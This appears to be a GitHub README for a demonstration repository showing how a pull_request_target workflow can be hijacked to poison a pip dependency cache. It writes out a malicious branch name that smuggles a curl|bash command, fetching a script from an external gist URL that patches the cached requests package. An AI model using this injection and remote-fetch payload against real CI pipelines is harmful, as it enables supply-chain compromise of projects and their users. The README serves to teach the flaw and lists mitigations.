Skip to content

Latest commit

 

History

History
73 lines (49 loc) · 3.26 KB

README.md

File metadata and controls

73 lines (49 loc) · 3.26 KB
Raw

README

Overview

This repository demonstrates how a GitHub Actions pipeline can be compromised through a malicious pull request that abuses pull_request_target and caching. Specifically, an attacker can run their own code in the CI environment and poison the .pip-cache, causing future builds to print "You are hacked!" without any further attacker involvement.

Key points:

  • The pipeline uses pull_request_target.
  • The workflow uses actions/cache to store Python dependencies in .pip-cache.
  • The attacker’s malicious code, hosted externally, modifies the cached requests dependency to print "You are hacked!" whenever requests is imported.
  • After poisoning the cache, subsequent main branch builds restore the maliciously altered dependencies and display the hacked message.

The Attacker’s Payload

The attacker hosts a malicious script (evil.sh) externally. The provided script is available at:

https://gist.githubusercontent.com/colek42/0a6254d21b98e7a437d568126e1d261c/raw/ec71ca09b8f0bede20547679315f5213c638d444/evil.sh

What evil.sh Does:

  1. It locates the requests package in .pip-cache.
  2. It prepends a print("You are hacked!") statement to requests/__init__.py.
  3. This ensures that any future import of requests will display the hacked message.

The Malicious Branch Name

To run evil.sh, the attacker crafts a PR from a branch name that executes a curl|bash payload. For example:

$({curl,-sSfL,https://gist.githubusercontent.com/colek42/0a6254d21b98e7a437d568126e1d261c/raw/ec71ca09b8f0bede20547679315f5213c638d444/evil.sh}|bash)

When the CI workflow encounters git pull origin $branch, it substitutes this malicious branch name, thus fetching and executing evil.sh during the pull_request_target event.

Steps to Reproduce (High-Level)

  1. Initial Setup:

    • You set up this repository with a simple Python application in src/.
    • requirements.txt includes requests.
    • The ci.yml workflow uses pull_request_target and actions/cache.

  2. Initial Run:

    • On push to main, the workflow runs, installs requests, and caches it.
    • python src/main.py prints “Hello, world!” normally.

  3. Attacker’s PR:

    • The attacker creates a PR from a maliciously named branch as described.
    • The CI runs pull_request_target, executes git pull origin $branch, and thus runs evil.sh.
    • evil.sh poisons .pip-cache by modifying requests/__init__.py to print “You are hacked!”.

  4. After the Attack:

    • Merging the PR or simply triggering another run on main restores the now-poisoned cache.
    • requests is imported again, but this time it prints “You are hacked!” before returning.

Observing the Result

After the cache is poisoned, any new run on main that imports requests will display:

You are hacked!
Hello, world!

This shows the persistent compromise carried forward by the cached dependencies.

Cleanup and Mitigation

  • To reset the environment, modify requirements.txt (e.g., add a blank line) to change the cache key and force a fresh dependency install.
  • Remove or avoid pull_request_target for untrusted code.
  • Validate file integrity or use supply chain security tools (like Witness) to detect unexpected modifications.